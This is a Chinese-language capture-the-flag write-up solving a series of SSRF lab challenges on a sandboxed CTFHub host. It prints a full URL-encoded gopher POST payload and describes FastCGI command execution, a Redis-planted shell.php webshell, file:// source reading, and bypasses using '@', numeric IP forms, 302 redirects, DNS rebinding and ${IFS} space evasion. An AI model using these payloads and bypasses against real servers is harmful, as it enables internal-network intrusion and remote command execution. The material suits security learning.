1.POST请求
去访问flag.php,发现叫我们从127.0.0.1访问,
于是构造?url=http://127.0.0.1/flag.php,发现一个key,再根据题目应该是要求我们使用post提交这个key
这里使用gopher协议提交数据,这里采用了一个python脚本来构造gopher URL
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253De34643f08867c7a25557d4f788fe75b8%250D%250A
最终payload,放到?url后面得到flag
本题多少还是有点小迷惑,比如他说要来自127.0.0.1,我尝试使用Modheader插件去更改host然后出现的东西让我有点迷
2.上传文件
直接访问flag.php
于是更改payload:http://challenge-a27bafd3b1610254.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
这里其实还有个网址:用file协议可以直接查看到源码http://challenge-a27bafd3b1610254.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
但是,发现一个问题,没有提交按钮(小问题,自己html加一个)
<input type="submit" name="submit">
先随便提交一个图片
说明还是要用gopher构造提交,这里用burp抓一下包:
把数据包里面的host改为127.0.0.1,然后复制此数据包,拿去python脚本跑一下编码
在这里要注意一下,上传的文件最好不要是一句话木马文件,我尝试了很多次,发现如果是木马文件的话,防火墙会对数据包进行拦截,这个我有点不清楚怎么回事,所以我换了几次数据包,图片和txt都可以的
最后贴到url上,拿到flag
3.FastCGI协议
利用gopher工具贴上想要执行的代码,转换成gopher语句,其中的ls /表示根目录下文件
这里需要注意一下,这里的url语句需要再进行一次url编码(这里需要二次编码是因为GET获取参数会进行一次解码,curl也会进行一次解码)所以需要再进行一次编码。
看到有一个flag_cd5a720d5b3ac78b86be2534a833634文件,再次构造gopher语句,这里的flag文件在根目录下,所以cat的时候也要放到根目录下去打开
cat /flag_cd5a720d5b3ac78b86be2534a833634
可以拿到flag
4.REDIS
使用Gopherus生成所需攻击Redis的Paylaod:这里需要再进行一次url编码
这里上传数据包后会显示504:
但实际上包已经成功发送,这里访问shell.php 输入cmd命令
这里可以看到有一个flag文件,用cat打开,拿到flag
这里还有一个小地方:如果url地址变成:10800/?url=127.0.0.1/shell.php?cmd=ls /
页面会显示错误,但是换成:10800/?url=127.0.0.1/shell.php?cmd=ls${IFS}/可以绕过空格
说明这个页面存在一个空格过滤的规则,后面的操作一样可以拿到flag。
而直接访问shell.php就不会有这个问题
5.URL-BYpass
一些常见的绕过
Web安全之url跳转漏洞及bypass总结 - 卿先生 - 博客园
这里用的是@
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
拿到flag(至于你问我为什么是这个文件。。。。eiduo)
6.IP bypass
正常访问:127.0.0.1/flag.php
很明显遭到了过滤
这里可以将127.0.0.1换一下形式,比如进制转换
0x7F000001
2130706433
还可以直接用0代替
这样都是可以访问到127.0.0.1的
7.302跳转 Bypass
1.emmmm.这个题可以用上一题的方法绕过去
2.使用短地址转换
?url=surl-2.cn/0nPI
3.302跳转,在服务器上写一个脚本:<?php header("Location:http://127.0.0.1/flag.php")?>,然后构造url访问这个服务器上的脚本地址,出flag
8.DNS重绑定 Bypass
1.这题还是可以用绕过来做。。。。。
2.使用dns rebind网站构造器:rbndr.us dns rebinding service
一样可以拿到flag